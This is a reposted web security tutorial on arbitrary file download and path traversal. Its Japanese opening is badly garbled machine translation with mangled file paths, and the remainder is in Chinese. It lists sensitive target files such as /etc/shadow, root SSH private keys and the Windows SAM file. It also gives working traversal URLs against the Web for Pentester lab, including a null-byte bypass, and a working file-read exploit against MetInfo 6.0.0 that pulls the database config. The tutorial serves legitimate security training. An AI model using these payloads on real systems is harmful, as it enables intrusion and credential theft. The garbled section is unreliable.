[赤安全性]のWebセキュリティDay9 - ファイルダウンロードの脆弱性戦闘***

本論文では、セキュリティのメンバーで構成されて赤:不適切な場合は、いったん書き込みをするだけでなく、論文を見て。

みなさん、こんにちは、私たちは、赤い安全保障-Web ***グループWebセキュリティの共有に関する一連の記事で、HTBはまた、あなたの練習のための撮影範囲が含まれているこのプロジェクトは、我々はこのプロジェクトと呼ばれる名前がある与える  Webセキュリティの本当を  、Webセキュリティを勉強したいヘルプの友人への希望を。原則脆弱性- -脆弱性の危害-試験方法(手動テスト、テストツール) -テストレンジ(PHP、JAVAの範囲、Pythonの範囲のカバー範囲の全て基本的に3種類にレンジ) -実各記事は、脆弱性はじめに基づいていますチュートリアルでは、あなたが助けを喜ば場合、(主に適切なCMSやVulnhub実践的な演習を選択)スターは、より良い製品を作るために私たちを奨励しています。あなたは私たちに参加したい場合は、一緒にこのプロジェクトを完成、電子メール([email protected])にてご連絡下さい。

1.1任意のファイルのダウンロードの脆弱性は、はじめにを読んで

ビジネスニーズとして、いくつかのサイトでは、ビューまたはダウンロードするドキュメントを提供することができます。ビューにユーザーを制限したり、ファイルをダウンロードしない場合は、悪意のあるユーザーが閲覧またはダウンロードしたファイルを、ソースコードファイルすることができ、機密ファイルすることができます。

1.2任意のファイルのダウンロードの脆弱性は、害を読みます

***ダウンロードサーバのコンフィギュレーションファイル、および他の機密文書を読むことができ、***であることの危険性を高め、***詳しい情報が利用可能提供します。

1.3のダウンロード任意のファイルの読み取りには、条件を活用します

  1. ファイルを読み込む機能があります

  2. 制御またはチェックサムずさんユーザーにファイルパスを読んでありません

  3. 出力ファイルの内容

  4. 任意のファイルをダウンロードし、テストの脆弱性読ま
    ## 2.1テストのアイデアを

  5. 機密ファイルジャンプするためのファイルを読んだり、ダウンロードするにはファンクションポイントを探して、ディレクトリへのアクセス

  6. いくつかのディレクトリの制限は、ディレクトリ制限の厳しい、一部だけではない、次のように、あなたは他の機密ファイルパス、共通パス機密文書を試すことができます。

    Windowsの場合:
    C:\ Boot.iniファイル//表示するには、システムのバージョン
    はC:\ WINDOWS \ System32に\ inetsrvに \てMetaBase.xml // IIS の設定ファイル
    C:\ WINDOWS \修理\ SAM // パスワードのストレージシステムが最初にインストールされている
    Cを:\プログラムファイル\ mysqlの\ my.iniファイル// MySQL設定
    C:\プログラムファイル\のMySQL \データ\のMySQL \ user.MYD // MySQLのroot 
    C:\ WINDOWS \ PHPの設定情報は、php.iniの//のための
    C:\ WINDOWS \私。 INI // MySQLの設定情報
    ... 
    Linuxの場合:
    /root/.ssh/authorized_keys 
    /root/.ssh/id_rsa 
    /root/.ssh/id_ras.keystore 
    /root/.ssh/known_hosts 
    / etc / passwdファイル
    は/ etc /シャドウ
    /等/ my.cnfの
    ある/etc/httpd/conf/httpd.conf 
    /root/.bash_history 
    /root/.mysql_history 
    の/ proc /自己/ FD / FD [0-9] *(ファイル識別子)
    の/ proc /マウント
    / PORC /config.gz

2.2ドローンテスト

ここでは、pentesterテストのためのWebを使用します

2.2.1インストール手順

下载地址:https://download.vulnhub.com/pentesterlab/web_for_pentester_i386.iso
我们只需要VMware安装镜像文件即可使用
新建虚拟机
20191023123234-2236af0a-f54e-1.png
默认下一步
20191023123234-2281ed1c-f54e-1.png
选择镜像文件
20191023123235-22ba1cdc-f54e-1.png
设置虚拟机名称和存放位置
20191023123235-22f5bd5a-f54e-1.png
磁盘大小默认即可
20191023123235-232a516e-f54e-1.png
开启此虚拟机
20191023123237-24590da0-f54e-1.png
查看ip地址
20191023123238-24d24c9c-f54e-1.png
搭建成功,这里用Directory traversal做演示
20191023123239-255de32e-f54e-1.png

2.2.2 Example 1

从代码里看出未作限制,直接读取文件

$UploadDir = '/var/www/files/'; 

if (!(isset($_GET['file'])))
    die();


$file = $_GET['file'];

$path = $UploadDir . $file;

if (!is_file($path))
    die();

header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Cache-Control: public');
header('Content-Disposition: inline; filename="' . basename($path) . '";');
header('Content-Transfer-Encoding: binary');
header('Content-Length: ' . filesize($path));

$handle = fopen($path, 'rb');

do {
$data = fread($handle, 8192);
if (strlen($data) == 0) {
break;
}
echo($data);
} while (true);

fclose($handle);
exit();

使用../来跳跃目录读取敏感文件,我们这里读取passwd文件
http://192.168.163.141/dirtrav/example1.php?file=../../../etc/passwd
20191023123240-25b5c27e-f54e-1.png

2.2.3 Example 2

从代码里可以看出,路径必须存在/var/www/files/

if (!(isset($_GET['file'])))
    die();


$file = $_GET['file'];

if (!(strstr($file,"/var/www/files/")))
    die();

if (!is_file($file))
    die();

header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Cache-Control: public');
header('Content-Disposition: inline; filename="' . basename($file) . '";');
header('Content-Transfer-Encoding: binary');
header('Content-Length: ' . filesize($file));

$handle = fopen($file, 'rb');

do {
$data = fread($handle, 8192);
if (strlen($data) == 0) {
break;
}
echo($data);
} while (true);

fclose($handle);
exit();

http://192.168.163.141/dirtrav/example2.php?file=/var/www/files/../../../etc/passwd
20191023123240-2612e5da-f54e-1.png

2.2.4 Example 3

从代码可以看出过滤空字符及以后的字符。

$UploadDir = '/var/www/files/'; 

if (!(isset($_GET['file'])))
    die();


$file = $_GET['file'];

$path = $UploadDir . $file.".png";
// Simulate null-byte issue that used to be in filesystem related functions in PHP
$path = preg_replace('/\x00.*/',"",$path);

if (!is_file($path))
    die();

header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Cache-Control: public');
header('Content-Disposition: inline; filename="' . basename($path) . '";');
header('Content-Transfer-Encoding: binary');
header('Content-Length: ' . filesize($path));

$handle = fopen($path, 'rb');

do {
$data = fread($handle, 8192);
if (strlen($data) == 0) {
break;
}
echo($data);
} while (true);

fclose($handle);
exit();

http://192.168.163.141/dirtrav/example3.php?file=../../../etc/passwd%00
20191023123241-266b326c-f54e-1.png

2.3 CMS实战演练

这里选的是MetInfo cms进行任意文件读取漏洞演示

2.3.1 安装步骤

下载地址:https://www.metinfo.cn/upload/file/MetInfo6.0.0.zip
漏洞环境:phpstudy、windows
存在漏洞:任意文件读取
解压好后,下一步下一步的安装,配置数据库、管理员信息。
20191023093226-f83f2b14-f534-1.png
20191023093226-f8908b30-f534-1.png
安装完成
20191023093227-f8da5b7a-f534-1.png

2.3.2 利用过程

漏洞点在:MetInfo6.0.0/include/thumb.php?dir=
漏洞代码文件位置:MetInfo6.0.0\app\system\include\module\old_thumb.class.php
有两次过滤,第一次把路径中../、./进行过滤,第二次路径中需要有http和不能存在./,

$dir = str_replace(array('../','./'), '', $_GET['dir']);


if(substr(str_replace($_M['url']['site'], '', $dir),0,4) == 'http' && strpos($dir, './') === false){
    header("Content-type: image/jpeg");
    ob_start();
    readfile($dir);
    ob_flush();
    flush();
    die;
}

在windows环境下可以使用..\进行绕过
http://127.0.0.1/MetInfo6.0.0/include/thumb.php?dir=http\..\..\config\config_db.php
20191018142755-6bdd4f1a-f170-1.png

  1. 漏洞修复方案

1、对./、../、、..\%进行过滤
2、严格控制可读取或下载的文件路径

  1. 参考文章

https://www.jianshu.com/p/f4b06f59c4cb
https://www.freebuf.com/vuls/181698.html

banner.jpg

おすすめ

転載: blog.51cto.com/14697379/2474554